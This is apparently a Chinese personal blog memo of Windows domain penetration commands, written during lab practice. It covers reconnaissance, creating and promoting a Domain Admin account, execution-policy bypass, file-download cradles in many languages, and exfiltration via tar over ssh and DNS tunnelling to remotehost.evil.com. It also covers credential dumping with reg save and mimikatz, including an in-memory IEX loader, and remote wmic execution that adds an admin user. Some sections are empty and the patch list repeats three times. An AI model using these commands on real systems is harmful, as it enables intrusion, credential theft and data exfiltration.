这个暑假开始打算接触域的相关知识,本地搭建了环境进行了简单的实验,记录下常用的有关信息收集,域内文件传输,后渗透的相关命令以当备忘。
信息收集 确认域控主机
查看域管理员用户 1 net group "domain admins" /domain
查看登录域
查看域密码策略
查看补丁信息
查看操作系统类型
查看网络上的共享资源
查看当前计算机用户 1 2 net user //krbtgt为Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证
查看所有域 1 2 3 net view /domain - 查看域中电脑: net view /domain:contoso
查看域用户
从计算机名获取ipv4地址
查询域组名称
查询域管理员 1 net group "Domain Admins" /domain
添加域管理员账号 添加普通域用户:
1 net user lemon iam@L3m0n /add /domain
将普通域用户提升为域管理员:
1 net group "Domain Admins" lemon /add /domain
查看当前计算机名,全名,用户名,系统版本,工作站域,登陆域
查看域控制器 1 net group "Domain controllers"
查询所有计算机
下面这条查询的时候,域控不会列出:
1 net group "Domain Computers" /domain
获取C段计算机名/分析DC(工具) 1 2 3 nbtscan 192.168.123.0/24 - 详细信息 nbtscan -hv 192.168.137.2
获取指定账户详细信息
获得域密码策略
多个DC情况下判断登入那个DC
内网文件传输 powershell powershell突破限制执行:
1 powershell -ExecutionPolicy Bypass -File .\1.ps1
1 2 $d = New-Object System.Net.WebClient $d.DownloadFile("http://lemon.com/file.zip","c:/1.zip")
vbs脚本文件下载 1 2 3 4 5 6 7 8 9 Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "GET","http://192.168.206.101/file.zip",0 xPost.Send() set sGet=createObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile "c:\file.zip",2
执行:
bitsadmin 1 2 win2003无效。。。 bitsadmin /transfer n http://101.200.60.14/sh.txt c:\www.zip
telnet接收数据 服务端:
下载端:
文件共享 1 net use x: \\127.0.0.1\share /user:centoso.com\userID myPassword
hta 保存为.hta文件后运行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <html > <head > <script > var Object = new ActiveXObject("MSXML2.XMLHTTP" );Object .open("GET" ,"http://192.168.206.101/demo.php.zip" ,false );Object .send();if (Object .Status == 200 ){ var Stream = new ActiveXObject("ADODB.Stream" ); Stream.Open(); Stream.Type = 1; Stream.Write(Object .ResponseBody); Stream.SaveToFile("C:\\demo.zip" , 2 ); Stream.Close(); } window .close();</script > <HTA:APPLICATION ID ="test" WINDOWSTATE = "minimize" ></head > <body > </body >
perl脚本 1 2 3 # !/usr/bin/perl use LWP::Simple getstore("http://lemon.com/file.zip", "/root/1.zip");
python文件下载
1 2 3 4 5 6 import urllib2u = urllib2.urlopen('http://lemon.com/file.zip' ) localFile = open('/root/1.zip' , 'w' ) localFile.write(u.read()) localFile.close()
ruby文件下载 1 2 3 4 5 6 7 8 require 'net/http' Net::HTTP.start("www.lemon.com" ) { |http| r = http.get("/file.zip" ) open("/root/1.zip" , "wb" ) { |file| file.write(r.body) } }
wget文件下载
1 2 wget http://lemon.com/file.zip -P /root/1.zip 其中-P是保存到指定目录
一边tar一边ssh上传 1 tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -"
利用dns传输数据 1 tar zcf - localfolder | xxd -p -c 16 | while read line; do host $line.domain.com remotehost.evil.com; done
php脚本 1 2 3 4 5 6 7 <?php $data = @file("http://example.com/file" ); $lf = "local_file" ; $fh = fopen($lf, 'w' ); fwrite($fh, $data[0 ]); fclose($fh); ?>
ftp文件下载 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 >**windows下** >ftp下载是需要交互,但是也可以这样去执行下载 open host username password bin lcd c:/ get file bye >将这个内容保存为1.txt, ftp -s:"c:\1.txt" >在mssql命令执行里面(不知道为什么单行执行一个echo,总是显示两行),个人一般喜欢这样 echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt >**linux下** >bash文件 ftp 127.0.0.1 username password get file exit >或者使用busybox里面的tftp或者ftp >busybox ftpget -u test -P test 127.0.0.1 file.zip
nc文件传输 服务端:
下载端:
使用SMB传送文件 本地linux的smb环境配置 1 2 3 4 5 6 7 8 9 10 >vi /etc/samba/smb.conf [test] comment = File Server Share path = /tmp/ browseable = yes writable = yes guest ok = yes read only = no create mask = 0755 >service samba start
1 2 net use o: \\192.168.206.129\test dir o:
PowerShell渗透 1 2 3 4 5 6 原生于Windows 能够调用Windows API 能够在不写入磁盘的情况下运行命令 能够避免被反病毒检测到 已被大多数应用程序白名单解决方案标记为“可信” 用于编写许多开源Pentest工具包的介质
版本获取 1 get-host或者$PSVersionTable.PSVersion
默认情况下的Server OS 对应的 Powershell的版本:
1 2 3 4 5 Windows 2008 R2 - Version 2 Windows 2012 - Version 3 Windows 2012 R2 - Version 4 Windows 2016 - Version 5
获取执行策略 1 2 Get-ExecutionPolicy Get-ExecutionPolicy -List | Format-Table -AutoSize
powsershell渗透工具 1 2 Nishang http://www.nsoad.com/Security-tools/20161118/tools-804.html
绕过执行策略 1 https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
修改执行策略 1 set-executionpolicy remotesigned //这需要在管理员的状态下执行
重定向 1 PS D:\nishang-master> Get-Information | Out-File res.txt
HASH获取 前面三个,当密码超过14位时候会采用NTLM加密 ,前一部分是LM Hash,后一部分是NTLM Hash 当LM Hash是AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LM_HASH
1 test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::
powershell脚本
导注册表+本地分析 Win2000和XP需要先提到SYSTEM,03开始直接可以reg save 导出的文件大,效率低,但是安全(测试的时候和QuarkPwDump抓取的hash不一致)
1 2 3 reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security security.hive
1 使用:https://blog.51cto.com/tsingfu/305908
QuarkPwDump
mimikatz mimikatz使用时需要高权限,至少是administrator权限,域用户hash抓取 mimikatz 只能抓取登陆过的用户hash,无法抓取所有用户,需要免杀 1、本机测试直接获取内存中的明文密码
使用:
1 https://blog.csdn.net/mirror97black/article/details/79899199
非交互式抓取:
1 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
powershell加载mimikatz抓取密码:
1 powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
ProcDump + Mimikatz本地分析 文件会比较大,低效,但是安全(绕过杀软) ps:mimikatz的平台(platform)要与进行dump的系统(source dump)兼容(比如dowm了08的,本地就要用08系统来分析)
Secretsdump & Invoke-Mimikatz 1 Invoke-Mimikatz 需要被下载到目标服务器上运行,暂不了解
后渗透阶段 基于MSF windows/smb/psexec模块,已知账户密码情况下进行msf渗透
查看uid
使用mimikat模块 加载mimikatz
获取信息(一般会出现password)
1 2 3 4 5 6 7 kerberos Attempt to retrieve kerberos creds. livessp Attempt to retrieve livessp creds. mimikatz_command Run a custom command. msv Attempt to retrieve msv creds (hashes). ssp Attempt to retrieve ssp creds. tspkg Attempt to retrieve tspkg creds. wdigest Attempt to retrieve wdigest creds.
注意:mimikatz命令执行注意大小写,参考:
1 https://www.songrongfa.com/index.php/archives/150/
使用incognito模块
加载:
参考:https://www.4hou.com/penetration/8819.html
基于WMIC WMIC 的全称是 Windows Management InstrumentationCommand Lin,它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统,攻击者使用wmi来进行攻击,但Windows系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性,越来越多的apt事件中使用WMI进行攻击,利用WMI可以进行信息收集、探测,反病毒和虚拟机检测,命令执行,权限持久化等操作。
1 2 3 4 5 1、需要远程系统启动 Windows Management Instrumentation 服务,开放135端口 2、远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证” 3、wmic 会以管理员权限在远程系统上执行命令 4、防火墙开启将无法连接 5、如果报错 “Invalid Global Switch” ,用双引号把包含-的结点括起来即可正常执行。
使用 1 https://www.freebuf.com/articles/system/182531.html
远程执行bat脚本 1 wmic /node:192.168.17.138 /user:test /password:!@#123QWE process call create c:\programdata\test.bat
远程执行单个命令 1 wmic /node:192.168.17.138 /user:test /password:!@#123QWE process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
其他 1 2 3 4 5 6 7 8 9 10 11 12 13 14 - 查看cpu wmic cpu list brief - 查看物理内存 wmic memphysical list brief - 查看逻辑内存 wmic memlogical list brief - 查看缓存内存 wmic memcache list brief - 查看虚拟内存 wmic pagefile list brief - 查看网卡 wmic nic list brief - 查看网络协议 wmic netprotocal list brief
系统补丁合集 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 Win2003 Win2008 Win2012 =============================================== KB2360937|MS10-084 KB2478960|MS11-014 KB2507938|MS11-056 KB2566454|MS11-062 KB2646524|MS12-003 KB2645640|MS12-009 KB2641653|MS12-018 KB944653|MS07-067 KB952004|MS09-012 PR KB971657|MS09-041 KB2620712|MS11-097 KB2393802|MS11-011 KB942831|MS08-005 KB2503665|MS11-046 KB2592799|MS11-080 KB956572|MS09-012 KB2621440|MS12-020 KB977165|MS10-015Ms Viru KB3139914|MS16-032 KB3124280|MS16-016 KB3134228|MS16-014 KB3079904|MS15-097 KB3077657|MS15-077 KB3045171|MS15-051 KB3000061|MS14-058 KB2829361|MS13-046 KB2850851|MS13-053EPATHOBJ 0day 限32位 KB2707511|MS12-042 sysret -pid KB2124261|KB2271195 MS10-065 IIS7 KB970483|MS09-020IIS6 KB3139914|MS16-032 KB3124280|MS16-016 KB3134228|MS16-014 KB3079904|MS15-097 KB3077657|MS15-077 KB3045171|MS15-051 KB3000061|MS14-058 KB2829361|MS13-046 KB2850851|MS13-053EPATHOBJ 0day 限32位 KB2707511|MS12-042 sysret -pid KB2124261|KB2271195 MS10-065 IIS7 KB970483|MS09-020IIS6 KB3139914|MS16-032 KB3124280|MS16-016 KB3134228|MS16-014 KB3079904|MS15-097 KB3077657|MS15-077 KB3045171|MS15-051 KB3000061|MS14-058 KB2829361|MS13-046 KB2850851|MS13-053EPATHOBJ 0day 限32位 KB2707511|MS12-042 sysret -pid KB2124261|KB2271195 MS10-065 IIS7 KB970483|MS09-020IIS6